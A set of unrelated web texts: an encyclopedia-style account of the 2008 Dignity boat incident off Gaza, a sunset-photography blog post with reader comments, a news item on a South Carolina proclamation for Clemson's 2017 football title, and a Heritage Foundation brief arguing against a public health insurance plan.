On December 30, 2008, McKinney was aboard the ship Dignity as it attempted to enter the Gaza Strip, which had its coastal area declared a "closed military zone" by Israel, while on a humanitarian mission by the Free Gaza Movement from Cyprus. Aboard were physicians, medical supplies, and activists, including Caoimhe Butterly.
The Israel Navy confronted the ship at night in international waters. Members of the crew claimed that the ship was rammed, gunfire was directed at the water, and the ship was forced to dock in Lebanon after taking on water. Israel officials claimed that the collision was accidental and occurred after the ship was informed they wouldn't be allowed to enter Gaza and tried to outmaneuver the patrol boat; they decried McKinney's actions as being irresponsible and provocative for the sake of propaganda.
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I decided to hop in the car and drive down to the causeway across the Mactaquac Headpond to take some pictures. I'm so glad I went. Here's what I saw.
Wednesday, July 20, 2011
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I decided to hop in the car and drive down to the causeway across the Mactaquac Headpond to take some pictures. I'm so glad I went. Here's what I saw.
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LOVE the photos, they are beautiful....you did a great job at capturing God's amazing handiwork! Miss these views ;-)ReplyDelete
Wonderful sunset scenes! You did beautifullly capturing them.ReplyDelete
(Your discussion of sunset happening earlier reminds me how we loved being in NB in the summer because NB is on Atlantic time. The sun really sets early on Eastern Standard Time. The sun will set at 8:19 PM EST tonight. See what I mean?)
Gorgeous. Looks like a lovely place to relax and enjoy.ReplyDelete
Beautiful sunset!ReplyDelete
What a beautiful, magical place. Wonderful pictures. Thanks for stopping by to read about Queen Ann's Lace. I am your newest follower and hope to get to hear from you soon and often. Thanks so much, Richard from, My Old Historic HouseReplyDelete
Hi! fantastic! amazing picturesReplyDelete
Wow-love what you said about God's creation! Beautiful capture!ReplyDelete
Beautiful sunsets to capture with your camera. It is not easy to do. Yes, God's creation is something to behold.ReplyDelete
Hugs, Jeanne
Just beautiful Pamela. You have captured the essence of summer. The best part of summer is always the water. Sounds you are working to hard - take a break and enjoy a cold glass of ice tea! DianeReplyDelete
Just beautiful, Pamela!ReplyDelete
I have to laugh at the map because we are cool and wet and windy here on Vancouver Island....wishing for just a little of that heat!
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I'm glad you took the drive to capture the sunset and then shared the beauty with us.
Beautiful photos! They make me feel like I am there. We have lovely sunsets, but we don't have the water! The combination makes a breathtaking view. I'm glad you were able to capture it.ReplyDelete
Oh, my goodness! What gorgeous snaps of the sunset! It's so beautiful and you are a wonderful photographer!ReplyDelete
Be a sweetie,
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Wow, wow, wow, incredible photos! God creates the best pictures, and you captured them beautifully.ReplyDelete
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Gorgeous glorious sunset!! It's no fair the days are getting shorter summer has yet to begin here!
WOW! I'm speechless... these are simply amazing!ReplyDelete
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Your photos are picture postcard beautiful!!ReplyDelete
Beautiful images, that sunset was amazing. I love the last photo with the pink clouds and blue waterReplyDelete
Thanks for sharing such inspiration
I've been away so have enjoyed just now catching up on all your posts and beautiful photos! The sunsets are wonderful--you can almost feel the water. And enjoyed all the historical ones. How nice that young people can have an opportunity to learn about life nearly 200 years ago--what a great opportunity to help them to appreciate history! It's hard to believe it is so hot up where you are. The heat is amazing this year.ReplyDelete
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What gorgeous photographs! The Lord has certainly created a beautiful world for us to live in hasn't He? Each photo is simply stunning! Thank you for sharing them with us. Hubby and I are hoping to get over to NB sometime next week to visit my relatives. My auntie and uncle are planning to drive us down to St. Martins. Hoping for good weather so we can go.
You had asked me which program I was using to make a collage and I'm using Picnik. I would love to get rid of the black frames and have white instead. I think the black oftentimes looks rather harsh. I am just getting the hang of it though. I guess I'll get there sooner or later. Have a delightful weekend, my friend.


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Columbia (WSAV) – Governor Nikki Haley has issued a proclamation recognizing the Clemson University Tigers for winning the 2017 College Football Playoff National Championship.
The proclamation designates Saturday, January 14, 2017, as "Clemson Tigers National Football Champions Day" throughout the state of South Carolina and encourages all South Carolinians to join together in congratulating the Clemson Tigers football team and Head Coach Dabo Swinney for their outstanding performance in the 2017 College Football Playoff.
On Tuesday, the governor ordered a Clemson University flag be flown over the Statehouse to honor the Tigers and issued the following statement:
"I'm a proud Clemson alum, I'm a proud governor, and I'm a proud South Carolinian. Clemson showed their heart and humility throughout the entire season, and in an unforgettable national championship victory, they reminded us that, with faith and hard work, anything is possible. That's what defines South Carolina."


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One of the most hotly debated proposals in health care reform is the establishment of a new "public plan"--a health insurance program operated by the federal government and modeled on Medicare. In most variants of this idea, the public plan would "compete" with existing health plans currently offered by employers, in the individual insurance market, and/or in a new national health insurance exchange. President Barack Obama says that "a public health insurance option operating alongside private plans" would give Americans "a better range of choices, make the health care market more competitive, and keep insurance companies honest."
The Claims. Proponents of the public health plan idea claim that the high cost of American health care is caused by private insurance companies' expenditures on marketing, efforts to deny claims, high executive salaries,unrestrained pursuit of profit, and unwillingness to drive "hard bargains for reduced prices" from hospitals and physicians. They claim that the federal government's "bargaining power" allows Medicare--the nation's largest existing public health plan--to achieve lower costs and slower cost growth, and that the government could achieve similar results with a public plan for the non-elderly.
Proponents also claim that competition from such a public plan would reduce private-sector health care costs by forcing private insurers to either reduce costs to the supposedly lower public plan level or go out of business. Many even claim that, if the entire privately insured population were switched to a public plan, enough could be saved in administrative costs alone to pay for covering all Americans who are currently uninsured.
This rationale for creating a new program modeled on Medicare is based on four erroneous beliefs: (1) that, compared to private-sector health plans, Medicare provides comparable access to health care with slower cost growth; (2) that Medicare's administrative costs are lower; (3) that Medicare uses superior bargaining power to reduce health care costs without harm to patients; and (4) that public health plans are more innovative, whereas private health plans only follow the government's lead.
The Reality. All of these beliefs are demonstrably false. Contrary to the claims of public plan advocates:
- Total per-beneficiary health care costs are growing faster for Medicare patients than for private insurance patients. Medicare's per-beneficiary costs appear to grow more slowlythan private plan costs only if one ignores the fact that Medicare is paying a rapidly shrinking share of its beneficiaries' total health care costs. Total per-beneficiary patient care costs are growing faster for Medicare than for private insurance. However, spending by the Medicare program is growing more slowly than spending by private insurance because much of the growth in health care costs for Medicare beneficiaries is offset by increased out-of-pocket spending and other sources of private-sector funding.
- Medicare's per-beneficiary administrative costs are substantially higher than the administrative costs of private health plans. The illusion of lower Medicare administrative costs comes from expressing administrative costs as a percentage of total costs, including patient care. Medicare's per-person administrative costs are spread over a larger base of health care costs because its beneficiaries are by definition elderly, disabled, or end-stage renal disease patients.
- Medicare has no "bargaining power." To the extent that Medicare pays health care providers lower prices than private plans, it is due to the government's regulatory power, not bargaining, and certainly not by reducing the actual costs of providing care. Lobbyists for physicians have persuaded Congress in each of the past seven years to block scheduled reductions in these prices that Medicare pays for physician services--and in six of those years to replace the reduction with an increase. This suggests that Medicare does not, in fact, have enough bargaining power to lower prices further.
- Historically, public plans have more often been followers, not leaders, in health care delivery innovation. It is private-sector organizations that have introduced new quality-improvement methods and new customer services, as well as disease management and coverage of preventive care.
Other Dangers. The current Medicare program, which covers one-fifth of the American population, has unfunded future liabilities of over $36 trillion. A public plan with Medicare's essential characteristics that covered the entire population--or a significantly larger fraction of it--would not reduce costs and would be even more financially unsustainable.
Furthermore, any public plan would be driven by congressional interventions, bureaucratic processes, and lobbying rather than by incentives to deliver quality, efficient health care. This was evident with Fannie Mae and Freddie Mac: "public plan" mortgage companies that were established to "keep private lenders honest" and increase levels of home ownership. Driven by congressional interventions and policies at odds with economic reality, these public mortgage companies collapsed and threw the entire financial system into chaos. A "Freddie Doc" would produce similarly disastrous results.
No Cost Advantage to the Public Plan Concept. Despite the claims of proponents, the available evidence from the nation's largest and oldest public health care plan does not indicate that a new or expanded public plan modeled on Medicare could provide Americans with health care comparable to that offered by existing private plans, let alone at a lower cost. A public plan would be no better than the status quo and might well prove to be much worse than the "disease" it is intended to cure.
Americans clearly need health care reform, but a public plan is the wrong kind of reform. Contrary to the claims of the President and some Members of Congress, a public plan could not achieve cost savings or reduce the number of uninsured without substantially reducing the quality and access to health care that Americans currently enjoy.
Robert A. Book, Ph.D., is Senior Research Fellow in Health Economics in the Center for Data Analysis at The Heritage Foundation. The author thanks Joseph R. Antos and Walton J. Francis for helpful discussions and comments on earlier drafts, Benjamin Zycher for answering copious questions about administrative cost data, Paul L. Winfree and Tim Carr for help with private insurance enrollment data, and John W. Fleming for designing creative graphic representations of complicated quantitative concepts.